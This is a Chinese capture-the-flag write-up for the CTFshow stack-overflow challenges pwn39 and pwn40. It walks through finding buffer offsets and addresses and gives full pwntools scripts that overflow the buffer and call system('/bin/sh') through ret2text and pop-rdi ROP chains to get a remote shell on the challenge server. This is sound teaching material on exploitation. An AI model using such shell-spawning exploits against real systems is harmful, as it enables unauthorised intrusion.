CTFshow-pwn入门-栈溢出pwn39-pwn40

pwn39

在这里插入图片描述
首先我们还是先将二级制文件托到虚拟机里面查看文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
文件依然是只开启了栈不可执行,canary和pie都没开。并且该文件是32位的,那我们就托到ida32中反编译一下吧。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts(asc_804876C);
  puts(asc_80487E0);
  puts(asc_804885C);
  puts(asc_80488E8);
  puts(asc_8048978);
  puts(asc_80489FC);
  puts(asc_8048A90);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&32bit");
  ctfshow(&argc);
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}
int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

我们可以看到ctfshow函数中buf数组长度为14,但是需要都进去0x32长度的数据,显然一定会发生栈溢出,但是这次文件没有给我们后门函数,但是却hint函数中给了我们一个system函数和“/bin/sh”的字符串,我们就可以利用这两个,来构造出system(“/bin/sh”)来获取shell,与后门函数的效果是一样的。

编写exp

获得溢出长度

使用gdb中cyclic获得冗余字符,在使用r启动程序,将冗余字符填入程序,程序报错会返回一个地址,再使用cyclic -l命令即可获得溢出长度。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到,溢出长度为22。

拿到system函数的地址

我们可以使用objdump命令来获取plt表中各个函数的地址,进而轻松拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x080483a0

拿到/bin/sh的地址

/bin/sh的地址我们可以直接再ida中点击/bin/sh然后跳转到data段,可以直接获得它的地址。
在这里插入图片描述
/bin/sh的地址为:0x08048750

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28273")

offset = 22
system_addr = 0x080483a0
binsh_addr = 0x08048750
# p32(1) 代表是system函数的返回地址,由于不需要返回到某个地方,所以直接使用p32(1)来顶替4个字节 
# 32位传参是栈传参,参数与函数栈帧隔了一个返回地址,且参数在栈帧之下
payload = offset * 'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn40

在这里插入图片描述
首先还是将pwn文件下载下来,托到虚拟机里查看文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
可以看到该文件是64位的,并且只开启了栈不可执行,基本跟上道题目一样。那我们就pwn文件托到ida64中反编译一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts(asc_400828);
  puts(asc_4008A0);
  puts(asc_400920);
  puts(asc_4009B0);
  puts(asc_400A40);
  puts(asc_400AC8);
  puts(asc_400B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&64bit");
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}
int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

这道题基本和上道32位的题目是一模一样的,思路也一样,唯一不同的是我们64位在进行传参时与32位不一样,因为32位是栈传参,而64位是寄存器传参+栈传参,传送的前几个参数一般使用寄存器,把参数传到寄存器中即可,若参数过多,寄存器有限会继续使用栈传参。

具体64位传参方式如下:
当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。

那就再简单重复一下这道题的思路吧,通过ctfshow函数计算处buf溢出长度,然后利用栈溢出将ctfshow函数的返回地址修改为system函数的返回地址,然后将/bin/sh参数的地址传入rdi寄存器中即可。

编写exp

计算溢出长度

在这里插入图片描述
注意到,buf在栈中的位置是在rbp上面Ah=10长度处,加上rbp本身的所占栈单元的长度8(64位为8,32位为4),即:0xa + 0x8

拿到system函数的地址

还是使用objdump来查看文件的plt表来找system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x0000000000400520

拿到/bin/sh的地址

直接在ida64中点击/bin/sh即可跳转至data段,从而拿到其地址
在这里插入图片描述
/bin/sh的地址为:0x0000000000400808

拿到pop rdi;ret的地址

由于需要传参所以我们还需要将参数pop到rdi中,使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。
注:ret的作用为:pop eip/rip;
在这里插入图片描述
pop rdi;ret 的地址为:0x00000000004007e3
ret的地址为:0x00000000004004fe

ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28103")

offset = 0xa + 0x8
system_addr = 0x0000000000400520
binsh_addr = 0x0000000000400808
ret_addr = 0x00000000004004fe
pop_rdi_addr = 0x00000000004007e3

payload = offset * 'a' + p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/273727.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LSTM的记忆能力实验 [HBU]

目录 模型构建 LSTM层 模型训练 多组训练 模型评价 模型在不同长度的数据集上的准确率变化图 模型汇总 总结 长短期记忆网络(Long Short-Term Memory Network,LSTM)是一种可以有效缓解长程依赖问题的循环神经网络.LSTM 的…

go 源码解读 - sync.Mutex

sync.Mutex mutex简介mutex 方法源码标志位获取锁LocklockSlowUnlock怎么 调度 goroutineruntime 方法 mutex简介 mutex 是 一种实现互斥的同步原语。(go-version 1.21) (还涉及到Go运行时的内部机制)mutex 方法 Lock() 方法用于…

nodejs业务分层如何写后端接口

这里展示的是在node express 项目中的操作 ,数据库使用的是MongoDB,前期关于express和MongoDB的文章可访问: Nodejs后端express框架 server后端接口操作:通过路由匹配——>调用对应的 Controller——>进行 Service调用——&…

如何将语音版大模型AI接入自己的项目里(语音ChatGPT)

如何将语音版大模型AI接入自己的项目里语音ChatGPT 一、语音版大模型AI二、使用步骤1、接口2、请求参数3、请求参数示例4、接口 返回示例5、智能生成API代码 三、 如何获取appKey和uid1、申请appKey:2、获取appKey和uid 四、重要说明 一、语音版大模型AI 基于阿里通义千问、百…

ueditor富文本编辑器中图片上传地址配置以及抓取远程图片地址的配置

一:图片上传保存地址配置 打开文件ueditor.php,找到imagePathFormat进行修改即可 一:远程抓取图片配置 打开文件ueditor.config.js,找到catchRemoteImageEnable,取消注释即可

ElasticSearch 聚合统计

聚合统计 度量聚合:求字段的平均值,最小值,最大值,总和等 桶聚合:将文档分成不同的桶,桶的划分可以根据字段的值,范围,日期间隔 管道聚合:在桶聚合的结果上执行进一步计…

线程学习(3)-volatile关键字,wait/notify的使用

​ 💕"命由我作,福自己求"💕 作者:Mylvzi 文章主要内容:线程学习(2)​​​​ 一.volatile关键字 volatile关键字是多线程编程中一个非常重要的概念,它主要有两个功能:保证内存可见性…

JVM GC 算法原理概述

对于JVM的垃圾收集(GC),这是一个作为Java开发者必须了解的内容,那么,我们需要去了解哪些内容呢,其实,GC主要是解决下面的三个问题: 哪些内存需要回收? 什么时候回收&…

Pandas教程(二)—— 不同格式的数据读取

前言:几种常用数据格式的介绍 csv文件 1. 逗号分隔值文件,以纯文本形式(记事本)存储表格数据 2. 它是一种平面文件:即只存储数据和文字,不能存储公式、图表等 3. 更适合存储大数据,一般用来批…

GitLab 删除或移动项目

首先明说,删除后无法恢复 第一步:找到要删除的项目 第二步:进入目录后,左侧菜单,设置 >>> 通用,拉到最下面找到“高级”,点击右侧“展开” 第三步:点击“展开”后往下拉&a…

作业--day37

课上strcut的练习改成class&#xff0c;并写一个有默认参数的函数&#xff0c;把声明和定义分开&#xff0c;并在主函数内成功调用 #include <iostream> #include <iomanip> #include <cstring>using namespace std;class stu{ private:int age;char sex;fl…

理解文件系统

一 什么是文件系统 文件系统是计算机操作系统中的一个核心组件&#xff0c;用于管理计算机中的文件和文件夹。它提供了一种组织和访问计算机存储设备上数据的方式。文件系统使用户能够创建、修改、删除和查找文件&#xff0c;以及组织文件和文件夹的层次结构。 ps: linux一共有…

MongoDB文档操作

3.3 文档操作 3.1 文档介绍 文档的数据结构和 JSON 基本一样。 所有存储在集合中的数据都是 BSON 格式。 BSON 是一种类似 JSON 的二进制形式的存储格式&#xff0c;是 Binary JSON 的简称。 文档是一组键值(key-value)对(即 BSON)&#xff0c;一个简单的文档例子如下&…

vue+element实现动态表格:根据后台返回的属性名和字段动态生成可变表格

现有一个胡萝卜厂生产不同品种的胡萝卜&#xff0c;为了便于客户了解产品&#xff0c;现需在官网展示胡萝卜信息。现有的萝卜信息&#xff1a;编号&#xff08;id&#xff09;、名称&#xff08;name&#xff09;、保质期&#xff08;age&#xff09;、特点&#xff08;remark&…

Java架构师系统架构设计实践

目录 1 导语2 架构设计实践本章概述3 架构设计要素概述和规划4 架构设计模式5 架构设计输入6 架构设计输出7 架构设计要素总结 想学习架构师构建流程请跳转&#xff1a;Java架构师系统架构设计 1 导语 Java架构师在进行系统架构设计时&#xff0c;需要综合考虑多个方面&#…

c语言:计算1+2+3……+n的和|练习题

一、题目 输入一个数n&#xff0c;计算123……n的和 二、代码截图【带注释】 三、源代码【带注释】 #include int main() { int num0; printf("请输入要运算的数:"); scanf("%d",&num); sumResult(num);//相加结果函数 } //计算打印…

使用CRA(create-react-app)初始化一个完整的项目环境(该初始化项目已上传到本文章的资源)

1. 整理项目结构&#xff0c;项目目录结构大致划分如下&#xff1a; 2. 安装sass 安装sass开发环境, 注意&#xff1a;使用的文件后缀名要用.scssnpm i sass -D3. 安装Ant Design npm i antd --save 4. 配置基础路由Router&#xff08;具体可参考ReactRouter使用详解&#x…

具有置信度学习的困难感知注意力网络用于医学图像分割

Difficulty-Aware Attention Network with Confidence Learning for Medical Image Segmentation 具有置信度学习的困难感知注意力网络用于医学图像分割背景贡献难点&#xff1a;实验方法分割网络Segmentation Network&#xff08;分割网络&#xff09;Fully Convolutional Con…

2024财年Q2财报:大中华区增长放缓,耐克压不住国货势头?

“去库存”一直是耐克的关键词。 今年&#xff0c;有关耐克打折促销活动的公众号推文层出不穷&#xff0c;举办该活动的奥特莱斯门店也因此成为了年轻一代新的打卡圣地。以广州万国奥特莱斯于今年9月新开设的全球最大“NIKE优选体验店”为例&#xff0c;该店开业当天人气爆棚&…

ElasticSearch 搜索数据

精确查询 存在查询 Exists query 用于查询某个字段不为空的数据。如下所示&#xff0c;查询 age 不为空的 数据 POST user/_search {"query": {"exists": {"field": "age"}} }主键查询 通过 _id 字段查询数据 POST user/_search …
最新文章